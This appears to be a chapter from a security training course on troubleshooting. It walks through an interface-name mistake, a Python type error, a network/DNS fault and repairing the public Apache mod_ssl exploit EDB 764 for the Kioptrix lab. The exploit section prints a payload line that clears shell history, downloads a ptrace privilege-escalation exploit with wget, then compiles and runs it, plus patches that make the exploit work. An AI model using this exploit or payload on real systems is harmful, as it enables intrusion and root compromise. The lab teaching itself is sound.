link/ether 08:00:27:4b:72:30 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 82945sec preferred_lft 82945sec
inet6 fe80::a00:27ff:fe4b:7230/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 1 - The network interfaces are displayed with information
The command succeeded so we should be able to
configure our IP address on our Kali host. If we go further in
the article, we find an option to configure our IP address with
ifconfig.
The article does state that this command is deprecated, but let's try
the instructions anyway. We can follow along with the steps and enter
the command to configure the IP to 192.168.178.32.
kali@kali:~$ ifconfig enp0s3 192.168.178.32/24
SIOCSIFADDR: Operation not permitted
enp0s3: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: Operation not permitted
Listing 2 - The command execution failed with a permissions error
The command did not execute as shown in the instructions. The first
output line displays a permissions error. To overcome this, let's
apply sudo to the above command to overcome the permissions
problem.
kali@kali:~$ sudo ifconfig enp0s3 192.168.178.32/24
[sudo] password for kali:
SIOCSIFADDR: No such device
enp0s3: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: No such device
Listing 3 - The command execution failed with a device missing error
Despite having the correct permissions, the command still fails. In
both error outputs, an error displaying "No such device" was shown.
If we go back and execute ip a, we get the listing of network
interfaces.
kali@kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:4b:72:30 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 82945sec preferred_lft 82945sec
inet6 fe80::a00:27ff:fe4b:7230/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 4 - The interfaces are displayed with information
We don't have an interface named "enp0s3". Instead, we have an
interface called "eth0". Let's run ifconfig again with the
correct interface name.
kali@kali:~$ sudo ifconfig eth0 192.168.178.32/24
kali@kali:~$
Listing 5 - The command completes successfully
There are no error messages displayed during the execution of the
command. Let's use ifconfig to verify if the IP configuration
change took effect.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.178.32 netmask 255.255.255.0 broadcast 192.168.178.255
inet6 fe80::a00:27ff:fe4b:7230 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 18 bytes 1576 (1.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 6 - The IP configuration change took effect
We successfully configured the eth0 interface's IP address to
192.168.178.32, as shown in the article.
The article does cover that the interfaces may be different and also
provides instructions related to eth0 further down. The point in this
scenario is that things like interfaces, paths, or other attributes
related to a subject may not be exactly as shown in some instructions.
This misalignment in the instructions is common due to all the
variations in technologies. It is our responsibility, as technical
professionals, to work with our system specifications and relate them
to the instructions at a conceptual level, rather than literal. Doing
this will enable us to explore the issues we face in technology and
troubleshoot with a problem/solution mindset, instead of relying on
exact instructions for the issue we are trying to overcome.
When troubleshooting, and working with technology in general, it
is important to try to relate concepts that may be used toward
the progress of creating, fixing, or even designing something. The
mentality of not stopping when an error is displayed on the screen,
and instead analyzing the proposed solution and how it relates to what
we are doing, will make all the difference between being technically
competent and a novice.
Congratulations on your first steps into troubleshooting. Although
this wasn't directly a troubleshooting issue, this skill is essential
for moving forward with any problem that arises.
A Basic Python Coding Error (user error)
This Learning Unit covers the following Learning Objectives:
- Analyze errors
- Research solutions specific to displayed errors
- Handle errors one at a time
This Learning Unit will take approximately 2 hours to complete.
Sometimes, we make mistakes when writing a script or code. Even
seasoned programmers will often miss a semicolon or a quote that ruins
the execution of the code. Other issues can come up as well, and we'll
examine one common situation. We are writing a very simple script
in Python that takes the name and age of the user and returns the
respective output in a message.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 7 - A Python script to take a name and age and return a message to the user
As shown, the script takes in a name and age as two separate inputs.
It then prints out a message to the user. Let's try to execute this
script through the terminal shell. We use the shebang[116-2] at
the beginning of the script to use /usr/bin/python to execute
the script code.
kali@kali:~$ ./userAge.py
zsh: permission denied : ./userAge.py
Listing 8 - The script fails to execute with a permission denied error
The script did not execute for us. An error message shows "permission
denied" for the script userAge.py. With this, we can dig
deeper into the permissions[174] of our script and what
we are trying to accomplish.
kali@kali:~$ ls -al ./userAge.py
-rw-r--r-- 1 kali kali 163 Jul 28 10:59 ./userAge.py
Listing 9 - The DAC permissions are shown for the userAge.py file
Our goal is to execute userAge.py from the terminal. We
can assess a couple of things from the listing above. First, we can
determine that the permissions for the file don't have the execute bit
set for the owner, group, or others. We can also observe that the file
is owned by the kali user and kali group.
We are attempting to execute this with the kali user already, so
ownership is not the issue. The issue is that the execute bit is not
set when our goal is to execute the script. With that, let's set the
permission bits to -rwxr--r-- with chmod.[175]
kali@kali:~$ chmod 744 ./userAge.py
kali@kali:~$ ls -al ./userAge.py
-rwxr--r-- 1 kali kali 163 Jul 28 10:59 ./userAge.py
Listing 10 - The owner can now execute the script
Now that the execute bit is added to the permissions for the owner of
the file, let's try to execute the script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Traceback (most recent call last):
File "./userAge.py", line 6 , in <module>
print("Hello " + name + ". " + age + " is a great age to be!")
TypeError: cannot concatenate 'str' and 'int' objects
Listing 11 - The script fails with another error message
Unfortunately, the script failed after its execution. We can determine
that the script ran, so it's no longer an issue with the permissions.
Let's review the error message and analyze the content that is
highlighted in the listing above.
The error message tells us that there's an issue on line 6 of our
script. The bottom line provides "TypeError: cannot concatenate 'str'
and 'int' objects". Let's perform an Internet search for this message.
Now that the exact error message is typed into the search box, we
observe what results come up for this error.
The first search result is almost an exact match. It also has a
reference to Python, which is the scripting language we are working
with. This looks like a great match! Let's right-click this link and
open it in a new tab.
Let's review the link we opened.
Let's scroll down the page to the most popular solution.
Let's go back to our code and review if we can relate this solution to
our problem.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 12 - We observe the use of int in our code
The issue was reported on line 6 of the code. Comparing the
explanation in the StackOverflow solution we found, we can determine
that the issue is that there is a combination of a string and an
integer when the message is supposed to be output to the user. There
are two variables in use in this code: name and age. Let's try to
determine what types of variables these are by adding some additional
code to our script and commenting out the print line that is having
the issue. To do this, we'll use the type function.[176]
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print(type(name))
print(type(age))
#print("Hello " + name + ". " + age + " is a great age to be!")
Listing 13 - The type function is added to determine the variable type or name and age and the print line is commented out to avoid the error while we debug the code
We added a print line for each variable with the type function.
Now let's determine the variable types for name and age by
executing our script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
<type 'str'>
<type 'int'>
Listing 14 - The output of our code execution shows a string and an integer variable type
The output shows that there is a string variable type and an
integer type. For such a simple script, this is an acceptable
approach to keeping track of what each of these lines represents. This
would not work, however, in keeping track of debugging a script that
is over 1000 lines long. To optimize our output, let's print the
names and types.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
#print("Hello " + name + ". " + age + " is a great age to be!")
Listing 15 - The variables are added with print lines before the type function executions
Now that we added some print statements that will help us sort out
which output is for which variable, let's run our script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Name:
<type 'str'>
Age:
<type 'int'>
Listing 16 - The variable types are easier to correlate with the variables
With this information, we know that name is a string and age is
an integer. Now if we think about the post we visited earlier, we know
that a string and an integer cannot be used together in the print
line, which our debugger told us was on line 6. Of course, adding more
lines now, that line number will change. Let's simply un-comment the
print line, without removing our debugging lines yet.
kali@kali:~$ cat ./userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 17 - The print line of our script code is uncommented
Now that we included the print statement back into our code, let's
execute it to examine how the error message changes.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Name:
<type 'str'>
Age:
<type 'int'>
Traceback (most recent call last):
File "./userAge.py", line 11 , in <module>
print("Hello " + name + ". " + age + " is a great age to be!")
TypeError: cannot concatenate 'str' and 'int' objects
Listing 18 - The same error is reported on a different line of the code
The error is now reported on line 11. The line is conveniently
included in the erroneous output as well, so we can determine that it
is still caused by the same print statement. Now, let's go back to
our script code and analyze why we are having this issue.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int (input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 19 - The userAge.py script has the debugging statements and erroneous print statement
First, we can inspect the variable assignments for name and age.
Highlighted in the listing above is the int() function[177]
within the age variable assignment. This takes the input from the
user and makes that input string an integer. This is why type shows
age as an integer. We still want to keep this as an integer, though.
If a user wanted to enter another name, such as "Spies", the script
would output "Hello August. Spies is a great age to be!" This wouldn't
make sense with the goal of the script. Of course, at this time, if
a user were to try to do that, the script would error and exit. We'll
keep this inefficiency in our code, regardless, as this section is
more about overcoming and identifying errors.
The print statement is outputting a string to the user. This means
that the age variable is the odd portion out of this statement. We
can use the str() function[178] to make age a string for
the output.
kali@kali:~$ cat ./userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
print("Hello " + name + ". " + str(age) + " is a great age to be!")
Listing 20 - The str() function changes the type of the variable, age, to a string
Now that we made the type for the age variable a string, let's try
to execute the code again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Name:
<type 'str'>
Age:
<type 'int'>
Hello August. 31 is a great age to be!
Listing 21 - The code executes successfully
The code was executed successfully. It still has the debugging
statements we used to troubleshoot the error message so let's remove
those.
kali@kali:~$ cat ./userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Hello " + name + ". " + str(age) + " is a great age to be!")
Listing 22 - The debug statements are removed from the code to make it cleaner and remove unnecessary output to the user
Now that the debug code has been removed, we won't have unnecessary
output shown to the user on the script execution. Just to be sure that
we didn't remove anything important, let's execute the script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Hello August. 31 is a great age to be!
Listing 23 - The script runs as we intended
The script runs successfully. We can say that we successfully resolved
the error from the initial script execution. The most important
thing to understand with this example is not fixing the code, but the
process of determining the nature of the error, testing each part of
the code that is related to that error, testing suspicions to make
sure they are valid, and executing on a solution.
We took the approach of first "googling" the error message exactly
as it was shown to us. Then we read some information about a similar
issue online. After that, we verified that our variables were a string
and an integer that could not be combined in the print statement.
Once we determined this, we made the output of all strings by changing
age to a string type. We tested our solution to ensure that it was
appropriate. Lastly, we fixed our code by cleaning up the debugging
statements used to troubleshoot the problem.
Now that we were able to troubleshoot a fairly simple example, let's
move on to a more challenging one. The same skills outlined in the
simple example will still apply, but the next example will require
more effort.
Fixing a Broken Exploit (VulnHub Kioptrix: Level 1)
This Learning Unit covers the following Learning Objectives:
- Analyze errors
- Install package libraries needed by code
This Learning Unit will take approximately 2 hours and 15 minutes to
complete.
Troubleshooting is a necessary skill to use when coming across
exploits that no longer work, intentionally are released broken, or
to customize for our own purposes. We'll discuss a VulnHub[179]
machine called Kioptrix: Level 1.[180] To remain focused on
troubleshooting, we'll take some liberties with the vulnerable machine
and skip to the exploit that needs to be fixed. Before we begin this
process, let's create a directory under Documents and navigate
into it to keep our work more organized.
kali@kali:~$ mkdir Documents/Kioptrix1
kali@kali:~$ cd Documents/Kioptrix1
kali@kali:~/Documents/Kioptrix1$
Listing 24 - The Kioptrix1 directory is created under Documents
Skipping the process of finding out what exploit we want to use, let's
use searchsploit for exploit EDB-ID 764.[181] We'll
use the binary name "764.c" in our search to limit the results.
Note that this exploit title contains a word that is considered
offensive by some people. We will avoid referring to it by name but be
aware that it's extremely common to encounter "colorful" language in
exploits.
kali@kali:~/Documents/Kioptrix1$ searchsploit 764.c
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck | unix/remote/764.c
Microsoft Windows - VHDMP ZwDeleteFile Arb | windows/local/40764.cs
Symantec AntiVirus - IOCTL Kernel Privileg | windows/local/28764.c
TechSmith Snagit 10 (Build 788) - 'dwmapi. | windows/local/14764.c
------------------------------------------- ---------------------------------
------------------------------------------- ---------------------------------
Shellcode Title | Path
------------------------------------------- ---------------------------------
Windows/x86 (XP Professional SP2) - calc.e | windows_x86/43764.c
------------------------------------------- ---------------------------------
kali@kali:~/Documents/Kioptrix1$
Listing 25 - The exploit is the first in the listing
We can copy the exploit into our current working directory with the
-m option in searchsploit, providing the path for the
exploit we want to use.
kali@kali:~/Documents/Kioptrix1$ searchsploit -m unix/remote/764.c
...
Copied to: /home/kali/Documents/Kioptrix1/764.c
Listing 26 - The exploit code is copied to the current working directory
Before attempting to compile any exploit, the code should be
carefully examined. We do this to avoid executing malicious code
against our own host. For the sake of this scenario, we'll just
inspect the first few lines and validate that the exploit we are using
is safe. In normal practice, all of the code needs to be reviewed. In
this case, we already did that review to save time in the explanation.
kali@kali:~/Documents/Kioptrix1$ head -n 20 764.c
/*
* E-DB Note: Updated exploit ~ https://www.exploit-db.com/exploits/47080
...
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
...
Listing 27 - Comments at the beginning of the script indicate there are updated exploits for this code
The first comment indicates that there is an updated exploit and
later refers to a website that covers how to update the exploit to
make it work. Instead of using the updated exploit, we'll go through
the troubleshooting process. With the exploit code being reviewed and
deemed safe for compilation and execution, let's try to compile it.
kali@kali:~/Documents/Kioptrix1$ gcc -o OFExploit 764.c -lcrypto
764.c:21:10: fatal error: openssl/ssl.h: No such file or directory
21 | #include <openssl/ssl.h>
| ^~~~~~~~~~~~~~~
compilation terminated.
Listing 28 - The compilation fails with an error
An error is output to the terminal and the compilation of the code
stops. We observe this error happens on line 21, but the syntax
follows a correct #include format in C. Let's google this error
message and determine if that can help us determine what is wrong.
The first link is a post on Stack Overflow.
Although this post is about the installation of Git, the underlying
issue looks very similar. Let's scroll down the page to identify if
anyone has a solution.
Since we are running Kali, let's focus on the solution that is for
Debian-based systems. Let's try to execute the command in the first
solution shown.
kali@kali:~/Documents/Kioptrix1$ sudo apt-get install libssl-dev
[sudo] password for kali:
...
The following NEW packages will be installed:
libssl-dev
0 upgraded, 1 newly installed, 0 to remove and 234 not upgraded.
Need to get 1,810 kB of archives.
After this operation, 8,160 kB of additional disk space will be used.
...
Setting up libssl-dev:amd64 (1.1.1k-1) ...
kali@kali:~/Documents/Kioptrix1$
Listing 29 - libssl-dev is newly installed
Now that we implemented the first proposed solution, let's try to
compile the C code again.
kali@kali:~/Documents/Kioptrix1$ gcc -o OFExploit 764.c -lcrypto
764.c:644:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function) ; did you mean ‘SSL_MAX_SSL_SESSION_ID_LENGTH’?
644 | unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| SSL_MAX_SSL_SESSION_ID_LENGTH
764.c:652:2: error: unknown type name ‘RC4_KEY’
652 | RC4_KEY* rc4_read_key;
| ^~~~~~~
764.c:653:2: error: unknown type name ‘RC4_KEY’
653 | RC4_KEY* rc4_write_key;
| ^~~~~~~
764.c: In function ‘read_ssl_packet’:
764.c:845:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function); did you mean ‘SHA_DIGEST_LENGTH’?
845 | if (MD5_DIGEST_LENGTH + padding >= rec_len) {
| ^~~~~~~~~~~~~~~~~
| SHA_DIGEST_LENGTH
...
Listing 30 - Different errors are shown on the terminal
The original error is not shown anymore, but a long list of other
errors is. This may feel overwhelming at first, but we'll research the
first error message and determine if anything comes up that will help
us get past this new set of issues. We'll just copy the highlighted
error in the listing above and paste that into the Google search box.
The search results are directly related to the C code we are trying
to compile. Let's open the first listing in a new tab. This result has
"764.c"[182] in the title, so it may be a good fit for
our needs.
The blog post shows the error messages that we received earlier and
goes on to explain how to resolve them. Let's implement the proposed
fix and examine if it allows us to compile the code. Here is the first
item for us to complete.
1. Add this below line 24 (the last #include):
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
Listing 31 - Step 1 in the blog post
Let's go ahead and add this to the code.
kali@kali:~/Documents/Kioptrix1$ head -n 60 764.c
...
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
/* update this if you add architectures */
#define MAX_ARCH 138
...
Listing 32 - The proposed additions are made
We added the proposed changes to our script. Now that this is
finished, let's move on to the next instruction.
2. Replace "COMMAND2" on (now) line 672:
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
Listing 33 - Step 2 in the blog post
Let's replace line 672 (or somewhere near line 672) with the proposed
change above.
kali@kali:~/Documents/Kioptrix1$ sed -n 670,677p 764.c
int encrypted;
} ssl_conn;
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
//#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
long getip(char *hostname) {
Listing 34 - The original line was commented out and the proposed line was added after
Instead of replacing the line, we commented out the original line
and added the proposed change after it. This way, we know what the
original line is and do not lose the ability to revert it if needed.
We also used a sed range[183] to show the lines in the
code. The exploit is fairly long, so using head,[184]
cat,[185] or tail[186] wouldn't be practical for our
quick checks.
Now that we verified that our change matches the proposed line from
the blog, let's complete the next step.
3. Add "const" to the beginning of (now) line 970:
const unsigned char *p, *end;
Listing 35 - Step 3 in the blog post
Let's complete this now.
kali@kali:~/Documents/Kioptrix1$ sed -n 970,975p 764.c
void get_server_hello(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
//unsigned char *p, *end;
const unsigned char *p, *end;
int len;
Listing 36 - The original line was commented out and the proposed change was added
Again, we follow the same practice as before and comment out the
original line. We verified that the new line is in place, as proposed
by the blog. Let's move on to the next instruction.
4. Replace the "if" on (now) line 1078 with:
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
Listing 37 - Step 4 in the blog post
Let's follow the same practice and make this change.
kali@kali:~/Documents/Kioptrix1$ sed -n 1078,1085p 764.c
printf("send client master key: No public key in the server certificate\n");
exit(1);
}
//if (pkey->type != EVP_PKEY_RSA) {
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
printf("send client master key: The public key in the server certificate is not a RSA key\n");
exit(1);
Listing 38 - The if statement is changed
With this step complete, let's continue moving down the blog instructions.
5. Replace the "encrypted_key_length" code on (now) line 1084 with:
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
Listing 39 - Step 5 in the blog post
Again, we need to change our original exploit code.
kali@kali:~/Documents/Kioptrix1$ sed -n 1084,1095p 764.c
printf("send client master key: The public key in the server certificate is not a RSA key\n");
exit(1);
}
/* Encrypt the client master key with the server public key and put it in the packet */
//encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) {
printf("send client master key: RSA encryption failure\n");
exit(1);
}
Listing 40 - The encrypted_key_length variable was changed
It is important to note that the lines do not align with the blog.
The blog post showed that the change should be on line 1084, but
the variable was on line 1089. This, of course, is because we are
commenting code out instead of replacing it. It also is a result of
empty lines being added when we copied the proposals over. Even though
these lines aren't an exact match, we can determine the destination of
the code replacement by comparing the original code with the proposed
changes. In this case, encrypted_key_length needed to be changed, so
that the variable line was found and changed.
Let's check out the next step from the blog.
6. Install "libssl-dev" (if not already installed):
apt-get install libssl-dev
Listing 41 - Step 6 in the blog post
This is a quick one since we already completed this in our first part
of troubleshooting this issue. Let's move on to the next step.
7. Compile!
# gcc -o 764 764.c -lcrypto
Listing 42 - Step 7 in the blog post
Great! Now it's time to try to compile the code. Let's do this and
observe if the changes we made will allow the code to be compiled.
kali@kali:~/Documents/Kioptrix1$ gcc -o OFExploit 764.c -lcrypto
kali@kali:~/Documents/Kioptrix1$ ls
764.c OFExploit
Listing 43 - The exploit compiled
Nice! The code is compiled, and we can list the resulting binary
in the directory it was compiled in. We will stop here for this
scenario. Again, the focus of this section is to work on the
skillset of troubleshooting. The exploit should now work if we use
it properly against Kioptrix: Level 1. Now that the problem is fixed,
we'll review what we did and move on to another scenario.
In this scenario, we started with a broken exploit. We tried to
compile it with the command line given in the code comments. This did
not work and produced an error. We took that error and copied it into
a Google search. This got us one step closer to resolving our code
issues. We tried to compile again and received a lot more errors.
Instead of allowing these errors to overwhelm us, we again took one
of the errors in a Google search. From this, we found how to resolve
the exact exploit code we were working with, complete the steps, and
successfully compile the code.
Network Troubleshooting
This Learning Unit covers the following Learning Objectives:
- Take a systematic approach to diagnosing network connectivity
issues - Analyze the issues one at a time to get to the end resolution
- Consider things that may have changed from the time the network was
working and when it isn't
This Learning Unit will take approximately 3 hours to complete.
Troubleshooting a network connection is very common in the IT
industry, regardless of position. Understanding basic networking,
communication flows, and commands to assist in identifying information
is critical to quickly troubleshoot network-related issues. Although
commands and utilities will be touched upon, learning these tools is
out-of-scope for this section.
Refer to Linux Networking and Services 1 and 2 for a comprehensive
coverage of Linux Networking concepts that will be useful for this
section.
This section is meant to be read, instead of completing steps
hands-on. The scenario described in this section is purposefully
created to exhibit various networking issues that commonly come up
in a computer network. We'll be using our Kali Linux[187]
distribution for this scenario. The thought process of troubleshooting
network issues will remain the same, but the operating system in use
will change the toolsets available to resolve the issue.
In this scenario, we are going to start with the basic statement of
"the computer doesn't work." We will be taking a systematic approach
while investigating the issue. We can start by asking ourselves
questions to get more details as to what may have caused the issue.
Is the computer turned on? Is the computer plugged in with the power
strip turned on? Can the user log in?
The answer to all the questions we asked is "yes." Being more relevant
to the issue, we can state that the issue is internet-related. When we
attempt to go to google.com, the website does not load.
From here, we must try to determine what has changed since the last
time the computer was working. To be able to determine the timeline,
we must ask when it was last working properly. In this case, we know
it was working yesterday afternoon and was broken when we got back to
our machine this morning.
Let's check the status of our eth0 network interface.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1901 bytes 233416 (227.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2001 bytes 169458 (165.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 44 - An IP is not assigned to the eth0 interface
The computer is not picking up an IP address. As a first step, we can
restart the networking service to determine if that gets an IP on the
interface.
kali@kali:~$ sudo service networking restart
[sudo] password for kali:
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1901 bytes 233416 (227.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2001 bytes 169458 (165.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 45 - Restarting the networking service did not resolve the issue
Restarting the network did not resolve the issue. Let's look at the
top right corner that shows the network icon to determine if this
gives any indication of the network connection.
The icon is darkened and shows an "x" on the lower right of the icon.
This indicates that the network is not connected. We may have bumped
the ethernet cable, so let's make sure the cable is plugged into the
computer.
The cable was slightly unplugged in the back of the computer. Let's
plug that back in and check the icon again.
The network icon is now white, which indicates the network is
connected again. Now, we can check if the machine is picking up an IP.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.13.37.13 netmask 255.255.255.0 broadcast 10.13.37.255
inet6 fe80::a00:27ff:fe4b:7230 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1901 bytes 233416 (227.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2016 bytes 170574 (166.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 46 - The computer is picking up an IP address for eth0
Now the IP address of 10.13.37.13 is assigned to the computer. Let's
try to visit Google again.
It seems that we still are unable to load the site. From here,
we need to identify if anything else is different relating to the
network connection.
We can ask ourselves if we were working on anything or
experienced any similar networking problems yesterday.
We don't recall any issues when working on the computer yesterday.
We were working and went into a lab exercise where we changed the IP
configuration settings.
Let's review the configuration of the network interface using the GUI.
The interface was configured with a static IP address. Normally, the
network we use has a DHCP server that assigns the host computer's IP
addresses. Let's change this back to a DHCP setting and also remove
the DNS server that was manually added.
We'll disconnect and reconnect the network connection to have the
interface bring in the DHCP configuration. After this, let's run
ifconfig to determine if the DHCP address is assigned to this
host.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe4b:7230 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 2252 bytes 491221 (479.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3485 bytes 283944 (277.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 47 - The IP is now being assigned by the DHCP server
Now that the IP address is correct, let's try to access Google to
determine if we have resolved the issue.
The host computer still cannot connect. Let's try to
ping google.com and determine if we get a response.
kali@kali:~$ ping -c 4 google.com
ping: google.com: Temporary failure in name resolution
Listing 48 - There is an issue with the name resolution for google.com
It seems we are having an issue with name resolution. To test
the network functionality, let's use a different computer that works
to determine the IP address of google.com.
Using ping from a working host, we determined the IP address
is 172.217.5.206. Let's ping this IP on the host that
isn't working to ensure that the issue is only related to the name
resolution.
kali@kali:~$ ping -c 4 172.217.5.206
PING 172.217.5.206 (172.217.5.206) 56(84) bytes of data.
64 bytes from 172.217.5.206: icmp_seq=1 ttl=63 time=31.2 ms
64 bytes from 172.217.5.206: icmp_seq=2 ttl=63 time=22.8 ms
64 bytes from 172.217.5.206: icmp_seq=3 ttl=63 time=62.1 ms
64 bytes from 172.217.5.206: icmp_seq=4 ttl=63 time=47.5 ms
--- 172.217.5.206 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss , time 3005ms
rtt min/avg/max/mdev = 22.777/40.900/62.106/15.120 ms
Listing 49 - The network has outside connectivity
With the confirmation that the host can reach the Google
server, let's inspect the file responsible for name resolution
(/etc/resolv.conf).
kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search offsec.com
Listing 50 - The /etc/resolv.conf file is missing the nameserver entry
The resolv.conf file is missing the nameserver entry
that would tell the host where to go for name resolutions. We'll need
to add this to the configuration file. We should also monitor this
problem in case it happens with any of our other devices.
After confirming the IP address of the DNS server is our router
at 192.168.1.1, we'll update /etc/resolv.conf.
kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search offsec.com
nameserver 192.168.1.1
Listing 51 - The nameserver entry is added to the /etc/resolv.conf file
Now, let's try to ping google.com again.
kali@kali:~$ ping -c 4 google.com
PING google.com (142.250.217.142) 56(84) bytes of data.
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=1 ttl=63 time=27.7 ms
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=2 ttl=63 time=30.1 ms
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=3 ttl=63 time=35.6 ms
